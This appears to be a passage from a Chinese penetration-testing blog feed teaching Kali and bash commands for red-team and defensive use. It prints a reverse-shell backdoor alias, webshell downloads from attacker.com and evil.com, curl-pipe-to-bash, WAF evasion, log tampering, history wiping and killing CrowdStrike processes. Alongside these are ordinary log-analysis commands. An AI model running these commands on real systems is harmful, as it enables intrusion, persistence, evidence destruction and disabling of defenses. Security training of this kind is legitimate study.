&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;history&lt;/span&gt; -c &lt;span class="c1"&gt;# 清空当前会话历史（-c）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;!100 &lt;span class="c1"&gt;# 执行历史记录中第100条命令&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="实战场景-5"&gt;&lt;strong&gt;实战场景&lt;/strong&gt;：
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 快速调用历史中的漏洞扫描命令&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;!ssh &lt;span class="c1"&gt;# 执行最后一次ssh命令&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;!! &lt;span class="c1"&gt;# 重复上一条命令&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="2-2"&gt;&lt;strong&gt;2. &lt;code&gt;alias&lt;/code&gt;：自定义命令别名&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="渗透核心用途-6"&gt;&lt;strong&gt;渗透核心用途&lt;/strong&gt;：
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;简化复杂命令&lt;/strong&gt;
• &lt;strong&gt;隐藏恶意操作&lt;/strong&gt;&lt;/p&gt;
&lt;h4 id="常用配置"&gt;&lt;strong&gt;常用配置&lt;/strong&gt;：
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;alias&lt;/span&gt; &lt;span class="nv"&gt;l&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ls -lah&amp;#39;&lt;/span&gt; &lt;span class="c1"&gt;# 简化文件列表&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;alias&lt;/span&gt; &lt;span class="nv"&gt;scan&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;nmap -sV -Pn -T4&amp;#39;&lt;/span&gt; &lt;span class="c1"&gt;# 快速扫描模板&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;alias&lt;/span&gt; http-server&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;python3 -m http.server&amp;#39;&lt;/span&gt; &lt;span class="c1"&gt;# 一键启动HTTP服务&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="实战场景-6"&gt;&lt;strong&gt;实战场景&lt;/strong&gt;：
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 创建隐蔽后门别名（持久化需写入 ~/.bashrc）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;alias&lt;/span&gt; &lt;span class="nv"&gt;innocent&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;echo &amp;#34;Hello&amp;#34; &amp;amp;&amp;amp; nc -e /bin/sh 192.168.1.100 4444&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="渗透命令速查表"&gt;&lt;strong&gt;渗透命令速查表&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;| 场景 | 命令示例 |
| - | |
| &lt;strong&gt;实时监控日志&lt;/strong&gt; | &lt;code&gt;tail -f /var/log/nginx/access.log \| grep &amp;quot;sqlmap&amp;quot;&lt;/code&gt; |
| &lt;strong&gt;检测端口变化&lt;/strong&gt; | &lt;code&gt;watch -n 10 &amp;quot;nmap -p- 192.168.1.1&amp;quot;&lt;/code&gt; |
| &lt;strong&gt;下载Webshell&lt;/strong&gt; | &lt;code&gt;wget http://attacker.com/shell.php -U &amp;quot;Mozilla&amp;quot; -O /var/www/html/cmd.php&lt;/code&gt; |
| &lt;strong&gt;绕过WAF&lt;/strong&gt; | &lt;code&gt;curl -X POST -H &amp;quot;X-Forwarded-For: 127.0.0.1&amp;quot; -d &amp;quot;param=../../etc/passwd&amp;quot;&lt;/code&gt; |
| &lt;strong&gt;清理痕迹&lt;/strong&gt; | &lt;code&gt;history -d 1001 &amp;amp;&amp;amp; history -c&lt;/code&gt; |&lt;/p&gt;
&lt;h3 id="注意事项"&gt;&lt;strong&gt;注意事项&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;日志清理&lt;/strong&gt;：使用 &lt;code&gt;history -d&lt;/code&gt; 或 &lt;code&gt;shred -zu ~/.bash_history&lt;/code&gt; 清除敏感操作记录。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;隐蔽下载&lt;/strong&gt;：通过 &lt;code&gt;curl&lt;/code&gt; 的 &lt;code&gt;--socks5&lt;/code&gt; 参数或 &lt;code&gt;proxychains&lt;/code&gt; 代理下载，避免暴露真实IP。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;别名持久化&lt;/strong&gt;：将常用别名写入 &lt;code&gt;~/.bashrc&lt;/code&gt; 或 &lt;code&gt;/etc/profile&lt;/code&gt;，重启后仍生效。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day6 Kali常用命令</title><link>https://ruajingjing.top/post/day6-kali%E6%B8%97%E9%80%8F%E5%91%BD%E4%BB%A4/</link><pubDate>Tue, 08 Apr 2025 11:34:14 +0000</pubDate><guid>https://ruajingjing.top/post/day6-kali%E6%B8%97%E9%80%8F%E5%91%BD%E4%BB%A4/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day6 Kali常用命令" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注 &lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="红队渗透测试常用命令的典型场景和用法"&gt;红队渗透测试常用命令的典型场景和用法
&lt;/h2&gt;&lt;p&gt;&lt;em&gt;2025年4月7日 23点46分&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Day2中简单列举了几个Shell基本命令作为练习，本节将列举这些常见命令的红队渗透（也包含防御场景）常用组合方法。&lt;/p&gt;
&lt;p&gt;从官方下载log文件练习，这是官方为了配合课程给我们提供的课后练习，日志文件&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;wget www.offensive-security.com/pwk-files/access_log.txt.gz
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;gunzip access_log.txt.gz
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="1"&gt;&lt;strong&gt;1. &lt;code&gt;grep&lt;/code&gt; - 快速过滤敏感信息&lt;/strong&gt;
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 从日志中提取登录失败记录（爆破检测）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;cat /var/log/auth.log &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s2"&gt;&amp;#34;Failed password&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 搜索配置文件中的密码字段（敏感信息提取）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;grep -r &lt;span class="s2"&gt;&amp;#34;password&amp;#34;&lt;/span&gt; /etc/ 2&amp;gt;/dev/null
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 过滤含特定关键词的HTTP请求（如SQL注入特征）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;cat access.log &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s2"&gt;&amp;#34;select.*from&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250408104416702" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250408104416702.png"&gt;&lt;/p&gt;
&lt;h3 id="2"&gt;&lt;strong&gt;2. &lt;code&gt;sed&lt;/code&gt; - 动态修改文件内容&lt;/strong&gt;
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 删除日志中本机IP痕迹（反取证）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;sed -i &lt;span class="s1"&gt;&amp;#39;/192.168.1.100/d&amp;#39;&lt;/span&gt; /var/log/nginx/access.log
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 替换webshell中的恶意特征码（绕过WAF）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;sed -i &lt;span class="s1"&gt;&amp;#39;s/eval($_POST/process_data(/g&amp;#39;&lt;/span&gt; backdoor.php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250408105306518" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250408105306518.png"&gt;&lt;/p&gt;
&lt;h3 id="3"&gt;&lt;strong&gt;3. &lt;code&gt;cut&lt;/code&gt; - 提取关键数据列&lt;/strong&gt;
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 提取/etc/passwd中的用户名列表&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;cut -d: -f1 /etc/passwd
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 从CSV中提取子域名（信息收集）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;cat targets.csv &lt;span class="p"&gt;|&lt;/span&gt; cut -d&lt;span class="s1"&gt;&amp;#39;,&amp;#39;&lt;/span&gt; -f3 &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s2"&gt;&amp;#34;.*\.example\.com&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 提取ip&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;cat access_log.txt &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s2"&gt;&amp;#34; &amp;#34;&lt;/span&gt; -f &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sort -u
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 看访问数量&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;cat access_log.txt &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s2"&gt;&amp;#34; &amp;#34;&lt;/span&gt; -f &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt;sort &lt;span class="p"&gt;|&lt;/span&gt; uniq -c
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 从多到少排序&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;cat access_log.txt &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s2"&gt;&amp;#34; &amp;#34;&lt;/span&gt; -f &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt;sort &lt;span class="p"&gt;|&lt;/span&gt; uniq -c &lt;span class="p"&gt;|&lt;/span&gt;sort -run
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 筛查最高请求的攻击源是否攻击成功&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;cat access_log.txt&lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s1"&gt;&amp;#39;208.68.234.99&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep admin &lt;span class="p"&gt;|&lt;/span&gt; uniq -c
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250408105356873" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250408105356873.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250408110637119" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250408110637119.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250408110752013" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250408110752013.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250408110904462" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250408110904462.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250408111003176" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250408111003176.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250408111306388" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250408111306388.png"&gt;&lt;/p&gt;
&lt;h3 id="4"&gt;&lt;strong&gt;4. &lt;code&gt;awk&lt;/code&gt; - 高级文本分析与提取&lt;/strong&gt;
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 统计访问日志中的高频IP（寻找攻击源）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;awk &lt;span class="s1"&gt;&amp;#39;{print $1}&amp;#39;&lt;/span&gt; access.log &lt;span class="p"&gt;|&lt;/span&gt; sort &lt;span class="p"&gt;|&lt;/span&gt; uniq -c &lt;span class="p"&gt;|&lt;/span&gt; sort -nr
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 提取HTTP响应码为200的请求（漏洞扫描）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;cat access.log &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;$9 == 200 {print $7}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250408111435236" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250408111435236.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250408111519648" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250408111519648.png"&gt;&lt;/p&gt;
&lt;h3 id="5"&gt;&lt;strong&gt;5. &lt;code&gt;comm&lt;/code&gt; - 对比敏感文件差异&lt;/strong&gt;
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 对比用户列表变化（检测后门账户）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;comm -3 &amp;lt;&lt;span class="o"&gt;(&lt;/span&gt;sort /etc/passwd&lt;span class="o"&gt;)&lt;/span&gt; &amp;lt;&lt;span class="o"&gt;(&lt;/span&gt;sort passwd.bak&lt;span class="o"&gt;)&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="6"&gt;&lt;strong&gt;6. &lt;code&gt;diff&lt;/code&gt; / &lt;code&gt;vimdiff&lt;/code&gt; - 分析配置变更&lt;/strong&gt;
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 对比系统文件是否被篡改（如sshd_config）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;diff /etc/ssh/sshd_config /backup/sshd_config_original
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 可视化对比两个版本Web代码（查找Webshell）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;vimdiff index.php index.php.bak
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="7"&gt;&lt;strong&gt;7. &lt;code&gt;ping&lt;/code&gt; - 快速存活检测&lt;/strong&gt;
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 检测内网存活主机（C段探测）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; i in &lt;span class="o"&gt;{&lt;/span&gt;1..254&lt;span class="o"&gt;}&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; ping -c1 192.168.1.&lt;span class="nv"&gt;$i&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s2"&gt;&amp;#34;bytes from&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="8"&gt;&lt;strong&gt;8. &lt;code&gt;wget&lt;/code&gt; / &lt;code&gt;curl&lt;/code&gt; - 隐蔽传输文件&lt;/strong&gt;
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 下载远程Payload并静默执行（无交互）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;curl -s http://evil.com/shell.elf &lt;span class="p"&gt;|&lt;/span&gt; bash
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 伪装User-Agent下载工具（绕过WAF）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;wget -U &lt;span class="s2"&gt;&amp;#34;Mozilla/5.0&amp;#34;&lt;/span&gt; http://evil.com/nc.exe
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="9"&gt;&lt;strong&gt;9. &lt;code&gt;axel&lt;/code&gt; - 多线程加速下载&lt;/strong&gt;
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 快速拖取大型数据库备份文件（数据窃取）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;axel -n &lt;span class="m"&gt;10&lt;/span&gt; http://target.com/database.tar.gz
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="10"&gt;&lt;strong&gt;10. &lt;code&gt;ps&lt;/code&gt; / &lt;code&gt;kill&lt;/code&gt; - 进程管理&lt;/strong&gt;
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 查找并杀死防护进程（如AV）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;ps aux &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s2"&gt;&amp;#34;crowdstrike&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;{print $2}&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; xargs &lt;span class="nb"&gt;kill&lt;/span&gt; -9
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 隐藏进程名启动反向Shell（避免ps暴露）&lt;/span&gt;
